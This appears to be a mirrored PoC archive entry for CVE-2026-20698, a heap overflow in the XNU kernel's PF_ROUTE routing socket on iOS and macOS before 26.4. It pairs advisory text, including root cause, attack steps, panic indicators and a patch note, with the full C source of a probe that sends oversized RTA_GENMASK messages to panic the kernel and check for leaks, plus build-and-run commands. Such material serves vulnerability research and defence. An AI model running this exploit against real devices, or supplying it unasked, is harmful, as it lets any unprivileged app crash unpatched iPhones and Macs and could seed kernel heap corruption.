PoC Archive PoC Archive
High CVE-2026-20698 patched

XNU PF_ROUTE RTA_GENMASK Heap Buffer Overflow (CVE-2026-20698)

by Somair Ansar (Somisomair) — independently discovered; CVE credited to DARKNAVY as original reporter · 2026-07-05

Severity
High
CVE
CVE-2026-20698
Category
binary
Affected product
XNU kernel routing socket subsystem (PF_ROUTE, bsd/net/rtsock.c / bsd/net/radix.c)
Affected versions
iOS/iPadOS < 26.4, macOS < 26.4 (tested on iPhone 17 Pro Max, iOS 26.3.1, and additional devices on iOS 26.1); fixed in iOS/iPadOS 26.4
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-03
Author / ResearcherSomair Ansar (Somisomair) — independently discovered; CVE credited to DARKNAVY as original reporter
CVE / AdvisoryCVE-2026-20698
Categorybinary
SeverityHigh
CVSS ScoreNot specified in source
StatusPoC
Tagsxnu, kernel, ios, macos, pf_route, routing-socket, heap-overflow, radix-tree, kernel-panic, bounds-safety
RelatedN/A

Affected Target

FieldValue
Software / SystemXNU kernel routing socket subsystem (PF_ROUTE, bsd/net/rtsock.c / bsd/net/radix.c)
Versions AffectediOS/iPadOS < 26.4, macOS < 26.4 (tested on iPhone 17 Pro Max, iOS 26.3.1, and additional devices on iOS 26.1); fixed in iOS/iPadOS 26.4
Language / PlatformC, targets the XNU kernel via a raw PF_ROUTE socket
Authentication RequiredNo
Network Access RequiredNo (local, unprivileged process; no entitlements required)

Summary

XNU’s routing socket implementation processes RTM_GET messages carrying an RTA_GENMASK sockaddr through rn_addmask(), which copies the supplied genmask into a fixed, address-family-dependent radix-tree node buffer without validating that the attacker-controlled sa_len actually fits. Because socket(PF_ROUTE, SOCK_RAW, 0) and RTM_GET are both available to fully unprivileged, unsandboxed-relevant apps, any local process can trigger an out-of-bounds write. On current iOS builds this is caught by the -fbounds-safety compiler instrumentation and converted into a deterministic kernel panic rather than silent corruption; the repo documents five crash variants across different address families (AF_UNIX, AF_LINK, AF_INET6, AF_INET, AF_UNSPEC), two of which (AF_UNIX, AF_LINK) overflow at the very minimum possible sockaddr length, meaning there is no valid input for those families that avoids the bug.


Vulnerability Details

Root Cause

route_output() passes a user-supplied RTA_GENMASK sockaddr to rn_addmask(), which stores it into a radix-tree node key buffer sized per address family without checking that sa_len fits that buffer, producing a heap out-of-bounds write when an oversized genmask is supplied.

Attack Vector

  1. Open an unprivileged raw routing socket: socket(PF_ROUTE, SOCK_RAW, 0).
  2. Construct a routing message (rt_msghdr) of type RTM_GET with rtm_addrs = RTA_DST | RTA_GENMASK.
  3. Append a valid destination sockaddr, then append a genmask sockaddr whose sa_len exceeds the buffer XNU allocates for that address family (e.g. an AF_INET6 mask with sa_len = 48).
  4. write() the message to the routing socket; route_output()rn_addmask() copies the oversized mask into the undersized radix-tree buffer, corrupting adjacent heap memory (or, on -fbounds-safety-instrumented kernels, immediately tripping a bounds check and panicking).

Impact

Fully unprivileged, single-syscall, 100%-reliable local denial of service (instant kernel panic/reboot) from any process including sideloaded/App Store-distributable apps; on kernels without bounds-safety instrumentation the same out-of-bounds write is a plausible kernel heap-corruption primitive for further exploitation.


Environment / Lab Setup

Target:   iOS 26.3.1 or earlier / macOS < 26.4, physical device
Attacker: clang/Xcode toolchain (xcrun -sdk iphoneos clang), ldid for ad hoc signing, ability to deploy an unsigned/sideloaded binary or app to the target

Proof of Concept

PoC Script

See pf_route_crash.c (minimal crash trigger), variant_probe.c / family_probe.c / single_family.c (address-family variant enumeration), genmask_escalate.c (escalation analysis), route_26_4_variants.c (post-patch verification), and variant_26_4_test.m (iOS app harness) in this folder.

1
2
3
xcrun -sdk iphoneos clang -arch arm64 -o poc pf_route_crash.c
ldid -Sentitlements.plist poc
./poc

The minimal PoC opens a PF_ROUTE socket, builds an RTM_GET message with a deliberately oversized AF_INET6 genmask sockaddr, and writes it to the socket; on an affected kernel the device panics and reboots immediately. The variant scripts sweep multiple address families to map out which trigger the overflow and at what minimum length.


Detection & Indicators of Compromise

panic(cpu 0 caller 0xfffffe004e56c79c): Bounds safety trap at pc 0xfffffe004dfc4024, ...
esr: 0x00000000f2005519  far: 0x00000002899e6958
Kernel version: Darwin Kernel Version 25.3.0; root:xnu-12377.82.2~13/RELEASE_ARM64_T8150
Panicked task pid ...: <process name>

Signs of compromise:

  • Kernel panic logs showing a “Bounds safety trap” (BRK/ESR 0xf2005519-style fault) originating from routing-socket / radix-tree code.
  • A local process observed opening a raw PF_ROUTE socket and issuing RTM_GET messages with RTA_GENMASK immediately prior to a panic.
  • Repeated, otherwise-unexplained device reboots correlated with launching a specific unprivileged app.

Remediation

ActionDetail
Primary fixUpdate to iOS 26.4 / iPadOS 26.4 or later, which validates sa_len and returns ENOBUFS instead of processing an oversized genmask
Interim mitigationAvoid running untrusted third-party apps on affected builds; there is no user-facing configuration mitigation since PF_ROUTE access requires no entitlement

References


Notes

Mirrored from https://github.com/Somisomair/CVE-2026-20698-PF_ROUTE-Heap-Overflow on 2026-07-05.

family_probe.c
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <net/if.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <signal.h>

#define RTM_VERSION 5
#define RTM_GET     4

struct rt_metrics {
    uint32_t rmx_locks, rmx_mtu, rmx_hopcount;
    int32_t rmx_expire;
    uint32_t rmx_recvpipe, rmx_sendpipe, rmx_ssthresh;
    uint32_t rmx_rtt, rmx_rttvar, rmx_pksent, rmx_state;
    uint32_t rmx_filler[3];
};
struct rt_msghdr {
    unsigned short rtm_msglen; unsigned char rtm_version; unsigned char rtm_type;
    unsigned short rtm_index; int rtm_flags; int rtm_addrs;
    int rtm_pid; int rtm_seq; int rtm_errno;
    int rtm_use; unsigned int rtm_inits; struct rt_metrics rtm_rmx;
};

static void test_genmask(int gm_family, int gm_len, const char *label) {
    int fd = socket(PF_ROUTE, SOCK_RAW, 0);
    if (fd < 0) { printf("[%s] socket fail\n", label); return; }

    char buf[2048]; memset(buf, 0, sizeof(buf));
    struct rt_msghdr *rtm = (struct rt_msghdr *)buf;
    rtm->rtm_type = RTM_GET;
    rtm->rtm_version = RTM_VERSION;
    rtm->rtm_seq = 1;
    rtm->rtm_addrs = 0x09;

    int off = sizeof(*rtm);
    struct sockaddr_in *dst = (struct sockaddr_in *)(buf + off);
    dst->sin_family = AF_INET;
    dst->sin_len = sizeof(*dst);
    dst->sin_addr.s_addr = inet_addr("8.8.8.8");
    off += sizeof(*dst);

    buf[off] = gm_len;
    buf[off+1] = gm_family;
    int padded = (gm_len + 3) & ~3;
    if (padded < 4) padded = 4;
    off += padded;
    rtm->rtm_msglen = off;

    ssize_t s = write(fd, buf, rtm->rtm_msglen);
    printf("[%s] fam=%d len=%d write=%zd e=%d", label, gm_family, gm_len, s, s<0?errno:0);

    if (s > 0) {
        struct timeval tv = {.tv_sec = 0, .tv_usec = 200000};
        setsockopt(fd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
        ssize_t r = read(fd, buf, sizeof(buf));
        if (r > 0) {
            struct rt_msghdr *resp = (struct rt_msghdr *)buf;
            printf(" read=%zd type=%u err=%d addrs=0x%x", r, resp->rtm_type, resp->rtm_errno, resp->rtm_addrs);
            if (resp->rtm_addrs & 0x08) {
                printf(" GENMASK_IN_RESP!");
                int sa_off = sizeof(*resp);
                for (int bit = 0; bit < 3; bit++) {
                    if (resp->rtm_addrs & (1 << bit)) {
                        int sa_l = (unsigned char)buf[sa_off];
                        sa_off += (sa_l + 3) & ~3;
                    }
                }
                if (sa_off < r) {
                    int gm_resp_len = (unsigned char)buf[sa_off];
                    printf(" gm_sa_len=%d", gm_resp_len);
                    printf(" gm_data=");
                    for (int i = 0; i < gm_resp_len && sa_off+i < r && i < 32; i++)
                        printf("%02x", (unsigned char)buf[sa_off+i]);
                }
            }
        }
    }
    printf("\n");
    close(fd);
}

int main(int argc, char **argv) {
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGPIPE, SIG_IGN);

    if (argc < 2) {
        printf("Usage: %s <test>\n");
        printf("  1 = Different families with sa_len=16 (safe)\n");
        printf("  2 = Repeated writes sa_len=32 (safe, check state corruption)\n");
        printf("  3 = sa_len=33 crash with different families\n");
        printf("  4 = Read back after safe write (info leak check)\n");
        return 1;
    }
    int test = atoi(argv[1]);

    switch (test) {
    case 1:
        printf("=== Different families, sa_len=16 (safe range) ===\n");
        test_genmask(0, 16, "AF_UNSPEC");
        test_genmask(2, 16, "AF_INET");
        test_genmask(30, 16, "AF_INET6");
        test_genmask(18, 16, "AF_LINK");
        test_genmask(255, 16, "AF_MAX");
        test_genmask(1, 16, "AF_UNIX");
        break;

    case 2:
        printf("=== Repeated safe writes (sa_len=32) — check for state corruption ===\n");
        for (int i = 0; i < 100; i++) {
            test_genmask(2, 32, "repeat");
        }
        printf("Survived 100 iterations\n");

        printf("\n=== Now check if routing still works ===\n");
        {
            int fd = socket(PF_ROUTE, SOCK_RAW, 0);
            char buf[256]; memset(buf, 0, sizeof(buf));
            struct rt_msghdr *rtm = (struct rt_msghdr *)buf;
            rtm->rtm_type = RTM_GET; rtm->rtm_version = RTM_VERSION;
            rtm->rtm_seq = 999; rtm->rtm_addrs = 0x01;
            struct sockaddr_in *dst = (struct sockaddr_in *)(buf + sizeof(*rtm));
            dst->sin_family = AF_INET; dst->sin_len = sizeof(*dst);
            dst->sin_addr.s_addr = inet_addr("1.1.1.1");
            rtm->rtm_msglen = sizeof(*rtm) + sizeof(*dst);
            ssize_t s = write(fd, buf, rtm->rtm_msglen);
            ssize_t r = read(fd, buf, sizeof(buf));
            printf("Post-stress RTM_GET 1.1.1.1: write=%zd read=%zd err=%d\n",
                s, r, r>0?((struct rt_msghdr*)buf)->rtm_errno:-1);
            close(fd);
        }
        break;

    case 3:
        printf("=== sa_len=33 with different families (ALL WILL CRASH) ===\n");
        printf("Testing AF_UNSPEC first...\n");
        test_genmask(0, 33, "AF_UNSPEC_33");
        break;

    case 4:
        printf("=== Read back genmask after safe write ===\n");
        test_genmask(2, 16, "write16");
        printf("\nNow query the route and check if genmask appears in response:\n");
        {
            int fd = socket(PF_ROUTE, SOCK_RAW, 0);
            char buf[512]; memset(buf, 0, sizeof(buf));
            struct rt_msghdr *rtm = (struct rt_msghdr *)buf;
            rtm->rtm_type = RTM_GET; rtm->rtm_version = RTM_VERSION;
            rtm->rtm_seq = 2; rtm->rtm_addrs = 0x01;
            struct sockaddr_in *dst = (struct sockaddr_in *)(buf + sizeof(*rtm));
            dst->sin_family = AF_INET; dst->sin_len = sizeof(*dst);
            dst->sin_addr.s_addr = inet_addr("8.8.8.8");
            rtm->rtm_msglen = sizeof(*rtm) + sizeof(*dst);
            ssize_t s = write(fd, buf, rtm->rtm_msglen);
            ssize_t r = read(fd, buf, sizeof(buf));
            struct rt_msghdr *resp = (struct rt_msghdr *)buf;
            printf("RTM_GET response: %zd bytes addrs=0x%x\n", r, r>0?resp->rtm_addrs:0);
            if (r > 0 && (resp->rtm_addrs & 0x08)) {
                printf("GENMASK present in response! Parsing...\n");
                int sa_off = sizeof(*resp);
                for (int bit = 0; bit < 3; bit++) {
                    if (resp->rtm_addrs & (1 << bit)) {
                        int sa_l = (unsigned char)buf[sa_off];
                        if (sa_l == 0) sa_l = 4;
                        sa_off += (sa_l + 3) & ~3;
                    }
                }
                printf("Genmask at offset %d: ", sa_off);
                for (int i = 0; i < 32 && sa_off+i < r; i++)
                    printf("%02x", (unsigned char)buf[sa_off+i]);
                printf("\n");
            } else {
                printf("No GENMASK in response (rt->rt_genmask is NULL for this route)\n");
            }
            close(fd);
        }
        break;
    }

    printf("\nSURVIVED\n");
    return 0;
}